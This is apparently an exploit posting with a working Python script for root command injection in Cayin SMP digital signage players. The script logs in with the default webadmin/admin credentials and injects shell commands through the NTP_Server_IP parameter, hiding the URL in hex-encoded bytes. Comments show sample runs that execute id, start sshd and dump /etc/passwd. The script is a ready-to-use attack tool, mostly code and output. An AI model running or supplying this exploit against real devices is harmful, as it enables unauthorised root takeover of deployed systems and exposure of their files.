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Cayin Signage Media Player 3.0 Root Remote Command Injection

Cayin Signage Media Player 3.0 Root Remote Command Injection
Posted Jun 4, 2020
Authored by LiquidWorm | Site zeroscience.mk

CAYIN SMP-xxxx suffers from an authenticated OS command injection vulnerability using default credentials. This can be exploited to inject and execute arbitrary shell commands as the root user through the NTP_Server_IP HTTP GET parameter in system.cgi and wizard_system.cgi pages.

tags | exploit, web, arbitrary, shell, cgi, root
SHA-256 | 8227decab2e3303eb2fd3fd07c388f1eab6298ce3df14f3c461ac9bd2a02e376

Cayin Signage Media Player 3.0 Root Remote Command Injection

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#!/usr/bin/env python3
#
#
# Cayin Signage Media Player 3.0 Root Remote Command Injection
#
#
# Vendor: CAYIN Technology Co., Ltd.
# Product web page: https://www.cayintech.com
# Affected version: SMP-8000QD v3.0
# SMP-8000 v3.0
# SMP-6000 v3.0 Build 19025
# SMP-6000 v1.0 Build 14246
# SMP-6000 v1.0 Build 14199
# SMP-6000 v1.0 Build 14167
# SMP-6000 v1.0 Build 14097
# SMP-6000 v1.0 Build 14090
# SMP-6000 v1.0 Build 14069
# SMP-6000 v1.0 Build 14062
# SMP-4000 v1.0 Build 14098
# SMP-4000 v1.0 Build 14092
# SMP-4000 v1.0 Build 14087
# SMP-2310 v3.0
# SMP-2300 v3.0 Build 19316
# SMP-2210 v3.0 Build 19025
# SMP-2200 v3.0 Build 19029
# SMP-2200 v3.0 Build 19025
# SMP-2100 v10.0 Build 16228
# SMP-2100 v3.0
# SMP-2000 v1.0 Build 14167
# SMP-2000 v1.0 Build 14087
# SMP-1000 v1.0 Build 14099
# SMP-PROPLUS v1.5 Build 10081
# SMP-WEBPLUS v6.5 Build 11126
# SMP-WEB4 v2.0 Build 13073
# SMP-WEB4 v2.0 Build 11175
# SMP-WEB4 v1.5 Build 11476
# SMP-WEB4 v1.5 Build 11126
# SMP-WEB4 v1.0 Build 10301
# SMP-300 v1.0 Build 14177
# SMP-200 v1.0 Build 13080
# SMP-200 v1.0 Build 12331
# SMP-PRO4 v1.0
# SMP-NEO2 v1.0
# SMP-NEO v1.0
#
# Summary: CAYIN Technology provides Digital Signage
# solutions, including media players, servers, and
# software designed for the DOOH (Digital Out-of-home)
# networks. We develop industrial-grade digital signage
# appliances and tailored services so you don't have
# to do the hard work.
#
# Desc: CAYIN SMP-xxxx suffers from an authenticated
# OS command injection vulnerability using default
# credentials. This can be exploited to inject and
# execute arbitrary shell commands as the root user
# through the 'NTP_Server_IP' HTTP GET parameter in
# system.cgi and wizard_system.cgi pages.
#
# -----------------------------------------------------
# $ ./cayin.py 192.168.1.2 id
# uid=0(root) gid=65534(guest)
# # start sshd
# $ ./cayin.py 192.168.1.2 /mnt/libs/sshd/sbin/sshd
# $
# $ ./cayin.py 192.168.1.2 "netstat -ant|grep ':22'"
# tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
# tcp 0 0 :::22 :::* LISTEN
# $ ./cayin.py 192.168.1.2 "cat /etc/passwd"
# root:x:0:0:root:/root:/bin/bash
# vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
# smbuser:x:500:0:SMB adiministrator:/opt/media:/sbin/nologin
# sshd:x:1000:0::/dev/null:/sbin/nologin
# $
# -----------------------------------------------------
#
# Tested on: CAYIN Technology KT-Linux v0.99
# Apache/1.3.42 (Unix)
# Apache/1.3.41 (Unix)
# PHP/5.2.5
# Linux 2.6.37
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2020-5569
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5569.php
#
#
# 15.05.2020
#

import requests
import sys#____
import re#_____

if len(sys.argv) < 3:
print("Cayin SMP WebManager Post-Auth RCE")
print("Usage: ./cayin.py [ip] [cmd]")
sys.exit(17)
else:
ip____address = sys.argv[1]
ex____command = sys.argv[2]

ur____identif = b"\x68\x74\x74\x70\x3a\x2f\x2f"
ur____identif += (bytes(ip____address, "utf-8"))
ur____identif += b"\x2f\x63\x67\x69\x2d\x62\x69"
ur____identif += b"\x6e\x2f\x77\x69\x7a\x61\x72"
ur____identif += b"\x64\x5f\x73\x79\x73\x74\x65"
ur____identif += b"\x6d\x2e\x63\x67\x69\x3f\x54"
ur____identif += b"\x45\x53\x54\x5f\x4e\x54\x50"
ur____identif += b"\x3d\x31\x26\x4e\x54\x50\x5f"
ur____identif += b"\x53\x65\x72\x76\x65\x72\x5f"
ur____identif += b"\x49\x50\x3d\x70\x6f\x6f\x6c"
ur____identif += b"\x2e\x6e\x74\x70\x2e\x6f\x72"
ur____identif += b"\x67\x25\x32\x36" ##########"
ur____identif += (bytes(ex____command, "utf-8"))
ur____identif += b"\x25\x32\x36" ##############"

ht____request = requests.get(ur____identif, auth = ("webadmin", "admin"))
re____outputs = re.search("</html>\n(.*)", ht____request.text, flags = re.S).group().strip("</html>\n")
print(re____outputs)
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